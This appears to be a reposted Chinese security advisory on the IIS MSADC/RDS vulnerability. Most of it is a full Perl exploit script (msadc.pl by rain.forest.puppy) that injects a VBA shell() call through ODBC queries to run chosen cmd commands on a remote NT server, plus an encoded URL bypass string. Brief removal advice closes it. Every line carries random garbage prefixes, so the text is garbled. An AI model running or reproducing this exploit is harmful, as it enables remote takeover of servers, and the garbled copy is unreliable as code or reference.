IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"&%I)e^ u&1q [0y 涉及程序：
~:0sk"t$1 Microsoft NT server
qJ;jfh! # G .ulX 描述：
3%l*N&gsg: 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]@dZ{H| 1=t>HQ 详细：
}]e-{C} 如果你没有时间读详细内容的话，就删除:
,kF1T, c:\Program Files\Common Files\System\Msadc\msadcs.dll
C.~,qmOP 有关的安全问题就没有了。
Vdtry @Q N6>(;ugJ1- 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
f) zn TJL YbR!+ 0\g 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Fa?~0H/DL 关于利用ODBC远程漏洞的描述，请参看:
RwKdxK+; Mc =$/ o http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OJ ,` 3) 8Q S
2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
34z"Pm http://www.microsoft.com/security/bulletins/MS99-025faq.asp io _1Y ]N -!q :p&c 这里不再论述。
K:!"+q V\{ clJ\U 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
N2B|SO'' 'U1R\86M /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
* $yR*}A 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
_/F7 ?^ j E'G4Y- N8k00*p65 #将下面这段保存为txt文件，然后: "perl -x 文件名"
w0 ht S)lkz'tdk #!perl
-- PtZ]Z #
A$<.a'&T! # MSADC/RDS 'usage' (aka exploit) script
@AG n{q #
Lilr0|U+ # by rain.forest.puppy
l%[EXZ #
M*!agh # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
lU @]@_< # beta test and find errors!
b8~B azk c0PIc^R(@ use Socket; use Getopt::Std;
|*:'TKzNS getopts("e:vd:h:XR", \%args);
mX_a^_[G ^.KwcX r print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
GYJ80k| MJOz.=CbhR if (!defined $args{h} && !defined $args{R}) {
*#E
F sUw print qq~
cU;iUf Usage: msadc.pl -h <host> { -d <delay> -X -v }
} M1`di4e -h <host> = host you want to scan (ip or domain)
(mgS"zPS -d <seconds> = delay between calls, default 1 second
|y&*MTfV4L -X = dump Index Server path table, if available
* vflscgt -v = verbose
_I:~@ -e = external dictionary file for step 5
NYE` Kin- hHN'w73z Or a -R will resume a command session
X<i^qo V 7{e% u# ~; exit;}
6`O.!|) hakKs.U|[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
mk1bcK9 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
DSC$i| if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Px$/ _`H if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0TCBQ~ " $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+,2:g}5 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
plUZ"Tr M\sN@+ if (!defined $args{R}){ $ret = &has_msadc;
eb.O#Y die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
3x5JF M |rJ=Ksc print "Please type the NT commandline you want to run (cmd /c assumed):\n"
87Oad@FOr . "cmd /c ";
m6TNBX $in=<STDIN>; chomp $in;
Du`JaJI $command="cmd /c " . $in ;
BbW^Wxd3 f%Ns[S~ r if (defined $args{R}) {&load; exit;}
_jJPbKz hn^<;av= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
sp #p8@Cj &try_btcustmr;
e}Cif2#d~ wp#'nO print "\nStep 2: Trying to make our own DSN...";
9S-Z& 2L &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Ta tpXN\ >SML"+> print "\nStep 3: Trying known DSNs...";
|K6REkzr &known_dsn;
]DOX?qI
i mX\T D0$d print "\nStep 4: Trying known .mdbs...";
whpfJN z &known_mdb;
TT'[qfAI 8dZ0rPd? if (defined $args{e}){
3^R&:|, print "\nStep 5: Trying dictionary of DSN names...";
x$IX5:E#e &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
bLe <G ,8:(OB|a print "Sorry Charley...maybe next time?\n";
>_o} exit;
&QDW9
Mi U'8bdsF_ ##############################################################################
/<HRwG\w P/c&@_b sub sendraw { # ripped and modded from whisker
fIj|4a+ sleep($delay); # it's a DoS on the server! At least on mine...
Pf|siC^;s~ my ($pstr)=@_;
QrfG^GID socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'qjeXqGH$ die("Socket problems\n");
p 89wNSMl[ if(connect(S,pack "SnA4x8",2,80,$target)){
94+KdHAo^M select(S); $|=1;
wT `a3Ymm print $pstr; my @in=<S>;
MZlk0o2 select(STDOUT); close(S);
9/hrjItV return @in;
OlAs'TE^ } else { die("Can't connect...\n"); }}
SF&BbjBE0 *"D3E7AO ##############################################################################
gUxP>hB ? i( % sub make_header { # make the HTTP request
> }!mQ pAO my $msadc=<<EOT
:X.b}^ Z( POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Ko;{I?c User-Agent: ACTIVEDATA
0} $Hi Host: $ip
CACTE
Content-Length: $clen
0|$ v-`P$ Connection: Keep-Alive
CPP`
qt%f %K\?E98M ADCClientVersion:01.06
zoOaVV& 1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
> ?6 &c !OBEM1~
1 --!ADM!ROX!YOUR!WORLD!
x*?x=^I{ Content-Type: application/x-varg
Rn{iaM2Y < Content-Length: $reqlen
: y5<go8e kBYNf = EOT
c.,2GwW ; $msadc=~s/\n/\r\n/g;
NXNY"r7 ~ return $msadc;}
FP;Ccl"s s0DGC ##############################################################################
jJuW-(/4[ $/.zm; D sub make_req { # make the RDS request
lD"(MQV@0 my ($switch, $p1, $p2)=@_;
sYjpU my $req=""; my $t1, $t2, $query, $dsn;
O>^C4c! {)
Q@c)' if ($switch==1){ # this is the btcustmr.mdb query
R,F[XI+= N $query="Select * from Customers where City=" . make_shell();
um4yF*3b9 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
4d8B `Fa9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&K/ya7 qjf[zF elsif ($switch==2){ # this is general make table query
mH Ic f{RG $query="create table AZZ (B int, C varchar(10))";
dZi(&s $dsn="$p1";}
'[ C.|)" & e;=cAXG elsif ($switch==3){ # this is general exploit table query
F{eU" ;D $query="select * from AZZ where C=" . make_shell();
}RHn)}+ $dsn="$p1";}
LUC4=kk4 l~6?kFy9h elsif ($switch==4){ # attempt to hork file info from index server
o'W5|Gy $query="select path from scope()";
u oHNn 7 W $dsn="Provider=MSIDXS;";}
%,D<O,N &jsVw)Ue elsif ($switch==5){ # bad query
87=^J
xy $query="select";
y($ %;l $dsn="$p1";}
t%'Z<DmG+ q)Fq
i $t1= make_unicode($query);
?pn}s] */ $t2= make_unicode($dsn);
Md0 s K $req = "\x02\x00\x03\x00";
EmODBTu+ $req.= "\x08\x00" . pack ("S1", length($t1));
hjIT_{ mk $req.= "\x00\x00" . $t1 ;
ve%
xxn: $req.= "\x08\x00" . pack ("S1", length($t2));
\8<BLmf4U $req.= "\x00\x00" . $t2 ;
|lJX 3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\>C YC | return $req;}
@6mBqcE'? d!:6[7 X6 ##############################################################################
xZ4~Oo@@_' ADpmvW f? sub make_shell { # this makes the shell() statement
\/1<E?Q
f return "'|shell(\"$command\")|'";}
/c2w/+ _ d4nH_? ##############################################################################
6xZ=^;H tQ H+)* sub make_unicode { # quick little function to convert to unicode
% *&UJpbA my ($in)=@_; my $out;
o>7 ts&rk for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
i K12 pw return $out;}
Q5FM8Q # m[ |2R ##############################################################################
gFHT G ,4ei2`wV sub rdo_success { # checks for RDO return success (this is kludge)
sO.`x* my (@in) = @_; my $base=content_start(@in);
L2, 1Kt7 if($in[$base]=~/multipart\/mixed/){
9nH?l{As return 1 if( $in[$base+10]=~/^\x09\x00/ );}
GKo K7qH\J return 0;}
Hd, p !_ "
t7M3i_ ##############################################################################
LxpuhvIO VY)9|JJCO sub make_dsn { # this makes a DSN for us
z}{afEb my @drives=("c","d","e","f");
mExVYp h print "\nMaking DSN: ";
5g9; +}X; foreach $drive (@drives) {
DSt]{fl`P print "$drive: ";
BRk0CLr5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
tUgE eh6 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
YhY :~ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ds&e|VSH; $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
]ut5S>," return 0 if $2 eq "404"; # not found/doesn't exist
`&-Mi[1 if($2 eq "200") {
8G oh4T H foreach $line (@results) {
3"G>>nC& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
*Mw_0Y } return 0;}
9:e YU
= 2AtLyN'. ##############################################################################
6%fKuMpK( V^\8BVw sub verify_exists {
[-)r5Dsdq my ($page)=@_;
6 $ Gep my @results=sendraw("GET $page HTTP/1.0\n\n");
40|,*wi return $results[0];}
1} tbH[ Tp0b S ##############################################################################
5cEcTJL[C VMCLHpSfW sub try_btcustmr {
({NAMc* my @drives=("c","d","e","f");
dlG=Vq&Y my @dirs=("winnt","winnt35","winnt351","win","windows");
j S]><rm =IUUeFv +r foreach $dir (@dirs) {
_>v<(7 print "$dir -> "; # fun status so you can see progress
z^GDJddG foreach $drive (@drives) {
;\[(- )f!= print "$drive: "; # ditto
@"o@}9=d $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#?XQ7Im $reqlenlen=length( "$reqlen" );
H_0/f8GwnG $clen= 206 + $reqlenlen + $reqlen;
;s~ X IN,(y a C my @results=sendraw(make_header() . make_req(1,$drive,$dir));
v$=QA:!U if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
P0$e~=Q^4 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
,9P:Draxs` <a[Yk 2 ##############################################################################
P|H Kn,ar i,|0@Vy sub odbc_error {
$DZH QH my (@in)=@_; my $base;
<ERB.d! my $base = content_start(@in);
aDehqP6vf if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
on8WQf' A# $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y2+p1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^mb[j`CCt $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^1wA:?uN} return $in[$base+4].$in[$base+5].$in[$base+6];}
= +x yI print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[Tnsr (Z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
kFQ8
y~>y} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
EaWS. eK jZ%TJ0(H ##############################################################################
\tRG1&{$% e#B#B sub verbose {
rvyr xw%[ my ($in)=@_;
NNF>Xa`9, return if !$verbose;
M {$j print STDOUT "\n$in\n";}
)LdyC`S\c ~`D|IWMDq ##############################################################################
Z(ZiFPx2Z HXoX sub save {
b ]7GmRekl my ($p1, $p2, $p3, $p4)=@_;
/RyR>G! open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@?[1_g_'P print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
!=y] Sv~h close OUT;}
^+
wD43 r)T: 7zy ##############################################################################
W;1| +6x 4pln5v= sub load {
Qjnd6uv{I my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[j"9rO" + open(IN,"<rds.save") || die("Couldn't open rds.save\n");
*#TYqCc +g @p=<IN>; close(IN);
{VP$J"\e $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
E( h<$w8s $target= inet_aton($ip) || die("inet_aton problems");
TI !a )X print "Resuming to $ip ...";
|TE}`?y[g $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
~h" /Tce if($p[1]==1) {
8`b`QtGf $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
IQ!\w- $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*c)uGz'cD
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
-!)xQvagD. if (rdo_success(@results)){print "Success!\n";}
zh $}~RG[ else { print "failed\n"; verbose(odbc_error(@results));}}
720)Vz T elsif ($p[1]==3){
o0ZM[0@j if(run_query("$p[3]")){
;r /;m\V print "Success!\n";} else { print "failed\n"; }}
=E&OuX-R elsif ($p[1]==4){
E0/mSm"(T if(run_query($drvst . "$p[3]")){
[|~2X> print "Success!\n"; } else { print "failed\n"; }}
9z
I.pv+] exit;}
`y+-H|%? 1.D-FPK ##############################################################################
$HG}[XD? N-g8 }03 sub create_table {
?DH"V7bs my ($in)=@_;
uHIiH@ S $reqlen=length( make_req(2,$in,"") ) - 28;
KIeT!kmDl $reqlenlen=length( "$reqlen" );
5*\\J&H $clen= 206 + $reqlenlen + $reqlen;
b7/AnSR~Jt my @results=sendraw(make_header() . make_req(2,$in,""));
A!vCb
8(TX return 1 if rdo_success(@results);
{}o>{&X my $temp= odbc_error(@results); verbose($temp);
W[[bV return 1 if $temp=~/Table 'AZZ' already exists/;
>3gi yeJ return 0;}
GdVhK:<> j ,d*?'X ##############################################################################
)>7 %pz o&hIHfZri sub known_dsn {
Jd,)a#<j # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
9]'($:LF08 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
>\ u<&>i "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
}YOL"<,:o "banner", "banners", "ads", "ADCDemo", "ADCTest");
~Z ~v .d?%;2*{q foreach $dSn (@dsns) {
`mH %!{P print ".";
f(D_FTTO next if (!is_access("DSN=$dSn"));
l/y]nw if(create_table("DSN=$dSn")){
IZ3{>N V print "$dSn successful\n";
m u W!x Y if(run_query("DSN=$dSn")){
Ro=AADv@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$ \*`
}Y print "Something's borked. Use verbose next time\n";}}} print "\n";}
?4CN kk=v Cv)/7vyB8 ##############################################################################
(]*H[)F/ z^nvMTC sub is_access {
NA$zd( my ($in)=@_;
j %V["?) $reqlen=length( make_req(5,$in,"") ) - 28;
)c/Fasfg[P $reqlenlen=length( "$reqlen" );
8wH.et25k $clen= 206 + $reqlenlen + $reqlen;
"&Qctk`<P my @results=sendraw(make_header() . make_req(5,$in,""));
?8, %LIQ? my $temp= odbc_error(@results);
rC_*sx
r^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
g`k?AM\ return 0;}
a4gi,pz$] ]ALc;lb-} ##############################################################################
rs=q!
P"u[ Q HBtWQgS sub run_query {
GO! uwo: my ($in)=@_;
fWGOP~0 $reqlen=length( make_req(3,$in,"") ) - 28;
W
YW|P2* $reqlenlen=length( "$reqlen" );
o$.e^XL
$clen= 206 + $reqlenlen + $reqlen;
x\s,= n3z my @results=sendraw(make_header() . make_req(3,$in,""));
nsb4S { return 1 if rdo_success(@results);
I1 U7.CT my $temp= odbc_error(@results); verbose($temp);
@OV-KT[> return 0;}
k;dXOn jy2IZ o ##############################################################################
.7ayQp Fk=}iB#( sub known_mdb {
Hqz?E@bc@ my @drives=("c","d","e","f","g");
Wk4.%tpeO7 my @dirs=("winnt","winnt35","winnt351","win","windows");
r C[6lIP my $dir, $drive, $mdb;
B6}FIg) my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d h^^G^ $!A:5jech # this is sparse, because I don't know of many
f]8I64 my @sysmdbs=( "\\catroot\\icatalog.mdb",
h bOnlj4 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
rAdacnZV "\\system32\\certmdb.mdb",
Gi^Ha=?J% "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
_ia! mT < n
uQM^2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
:Zw @ yt "\\cfusion\\cfapps\\forums\\forums_.mdb",
MVv1.6c7Y "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7@%'wy& A "\\cfusion\\cfapps\\security\\realm_.mdb",
Aw!gSf) "\\cfusion\\cfapps\\security\\data\\realm.mdb",
^] p "\\cfusion\\database\\cfexamples.mdb",
7yI @"c#O "\\cfusion\\database\\cfsnippets.mdb",
ps:f=6m2 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
*B)yy[8j+ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;P?q2jI "\\cfusion\\brighttiger\\database\\cleam.mdb",
FrTg4 "\\cfusion\\database\\smpolicy.mdb",
0m9ZQ
O "\\cfusion\\database\cypress.mdb",
bzmr"/#D3 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'_+9y5 "\\website\\cgi-win\\dbsample.mdb",
+UW U|: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Ja^ 5?Ar| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
1D([@)^ ); #these are just
~H@+D}J? foreach $drive (@drives) {
9vGs; foreach $dir (@dirs){
f%qt)Ick foreach $mdb (@sysmdbs) {
HO|-@yOF^ print ".";
xcCl
(M]+ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
I12KT~z<r print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{#Q\z> if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
farDaS[\VY print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
://U^sFL } else { print "Something's borked. Use verbose next time\n"; }}}}}
+zOOdSFk. z xZtz foreach $drive (@drives) {
zz$q5[n foreach $mdb (@mdbs) {
&;q<M_< print ".";
NSLVD[yT if(create_table($drv . $drive . $dir . $mdb)){
iT )WR90 print "\n" . $drive . $dir . $mdb . " successful\n";
q(z7~:+qNr if(run_query($drv . $drive . $dir . $mdb)){
eTE2J~\ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
P]<= ! F } else { print "Something's borked. Use verbose next time\n"; }}}}
Sg*0[a3z }
0??Yr 17UK1Jx, ##############################################################################
$. e) %I4zQiJ% sub hork_idx {
q@#BPu"\l print "\nAttempting to dump Index Server tables...\n";
L0h
G print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
1-;?0en&0 $reqlen=length( make_req(4,"","") ) - 28;
jPu5nwvUV> $reqlenlen=length( "$reqlen" );
=LH}YUmd $clen= 206 + $reqlenlen + $reqlen;
h#f&|* Q5m my @results=sendraw2(make_header() . make_req(4,"",""));
a Snp/g if (rdo_success(@results)){
CUmH,`hu my $max=@results; my $c; my %d;
89eq[ |G_ for($c=19; $c<$max; $c++){
d;suACW $results[$c]=~s/\x00//g;
0my9l;X $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ML!9:vz $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.{rbw9 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
r :.uBc&_ $d{"$1$2"}="";}
\gKdD S foreach $c (keys %d){ print "$c\n"; }
sB*o)8 } else {print "Index server doesn't seem to be installed.\n"; }}
MR9/Y:Nm x6yW:tUG5 ##############################################################################
, r+"7$ Z(!pY hLq sub dsn_dict {
s^C;> open(IN, "<$args{e}") || die("Can't open external dictionary\n");
c]m! G'L_/ while(<IN>){
F$6? t.@J $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
eO4) |tW next if (!is_access("DSN=$dSn"));
!ng\`
|8? if(create_table("DSN=$dSn")){
j]> u Zalr print "$dSn successful\n";
!;}2F- if(run_query("DSN=$dSn")){
P \B3
y+) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
LdTIR ] print "Something's borked. Use verbose next time\n";}}}
,?b7 8_,2 print "\n"; close(IN);}
/mbCP>bcG 5j [#'3TSU ##############################################################################
Sb<\-O14" _-a|VTM sub sendraw2 { # ripped and modded from whisker
QPg2Y<2 sleep($delay); # it's a DoS on the server! At least on mine...
U~QMR-bz my ($pstr)=@_;
E [S' :Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@W9H9 PWv& die("Socket problems\n");
O3_B<Em if(connect(S,pack "SnA4x8",2,80,$target)){
c o]Gmg6p print "Connected. Getting data";
Va9q`XbyO open(OUT,">raw.out"); my @in;
V<0$xV1b|= select(S); $|=1; print $pstr;
d(l|hmj4j9 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ofwQ:0@ close(OUT); select(STDOUT); close(S); return @in;
STT2o= } else { die("Can't connect...\n"); }}
XJFnih E%*AXkJ'dZ ##############################################################################
dq 8+m(7k ~/ c5 hyTx sub content_start { # this will take in the server headers
~zMKVM1Q., my (@in)=@_; my $c;
@ M[Q $: for ($c=1;$c<500;$c++) {
mU]s7` %<> if($in[$c] =~/^\x0d\x0a/){
#S?c ;3- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
.Vh*Z<9S4 else { return $c+1; }}}
|3@=CE7G return -1;} # it should never get here actually
i[=C_+2 .~<]HAwq ##############################################################################
y&rY0bm <9 },M sub funky {
F$ {4X /9n my (@in)=@_; my $error=odbc_error(@in);
SI_?~Pf3k if($error=~/ADO could not find the specified provider/){
nVT M3Cz print "\nServer returned an ADO miscofiguration message\nAborting.\n";
J k*QcEE= exit;}
Y\8+}g;KR if($error=~/A Handler is required/){
3/tJDb5 print "\nServer has custom handler filters (they most likely are patched)\n";
GN%<"I. exit;}
2?1}ZXr if($error=~/specified Handler has denied Access/){
22I Y rk print "\nServer has custom handler filters (they most likely are patched)\n";
%MNk4Us V exit;}}
~^7 "`]'ZIx[R/ ##############################################################################
PN 9^[X Ut;' Gk sub has_msadc {
z@`@I my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
U$09p;~$Ww my $base=content_start(@results);
3Q$c'C return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0.(M l5&e return 0;}
<,-,? 7kM4Ei ########################
Qi|?d 7k0 vTcZ8|3 e &?}1AQAYg 解决方案：
V.fp/jhj 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@ay|]w 2、移除web 目录: /msadc
